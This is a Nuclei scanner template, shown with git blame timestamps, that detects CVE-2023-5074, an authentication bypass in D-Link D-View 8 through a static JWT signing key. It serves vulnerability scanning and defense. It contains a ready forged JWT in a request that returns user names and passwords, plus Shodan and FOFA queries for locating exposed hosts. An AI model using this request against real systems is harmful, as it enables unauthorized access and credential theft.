2023-09-26 14:35:39 +00:00
|
|
|
id: CVE-2023-5074
|
|
|
|
|
|
|
|
info:
|
2023-09-26 15:51:03 +00:00
|
|
|
name: D-Link D-View 8 v2.0.1.28 - Authentication Bypass
|
2023-09-26 14:35:39 +00:00
|
|
|
author: DhiyaneshDK
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28
|
|
|
|
remediation: |
|
|
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
|
|
|
reference:
|
|
|
|
- https://www.tenable.com/security/research/tra-2023-32
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-5074
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/codeb0ss/CVE-2023-5074-PoC
|
|
|
|
- https://github.com/nomi-sec/PoC-in-GitHub
|
2023-09-26 14:35:39 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2023-10-14 11:27:55 +00:00
|
|
|
cve-id: CVE-2023-5074
|
2023-09-26 14:35:39 +00:00
|
|
|
cwe-id: CWE-798
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-score: 0.01695
|
2024-04-08 11:34:33 +00:00
|
|
|
epss-percentile: 0.87453
|
2023-09-26 14:35:39 +00:00
|
|
|
cpe: cpe:2.3:a:dlink:d-view_8:2.0.1.28:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
max-request: 1
|
|
|
|
vendor: dlink
|
|
|
|
product: d-view_8
|
2023-10-14 11:27:55 +00:00
|
|
|
shodan-query: http.favicon.hash:-1317621215
|
|
|
|
fofa-query: icon_hash="-1317621215"
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2023,cve,d-link,auth-bypass,dlink
|
2023-09-26 14:35:39 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /dview8/api/usersByLevel HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Authorization: eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code == 200'
|
|
|
|
- 'contains(body, "userName") && contains(body, "passWord") && contains(body, "isEmailActivate")'
|
2023-09-26 14:39:49 +00:00
|
|
|
- 'contains(header, "application/json")'
|
2023-09-26 14:35:39 +00:00
|
|
|
condition: and
|
2024-03-25 11:57:16 +00:00
|
|
|
# digest: 4b0a00483046022100df91a0e799ab437aded5b1e9356b00c8a63803525cd7a4b511a6a90c80fe4c58022100eb14a4a52eac5c1d7dceaf823ff1aab3ad05bd419e17aac856014de6121c5f37:922c64590222798bb761d5b6d8e72950
|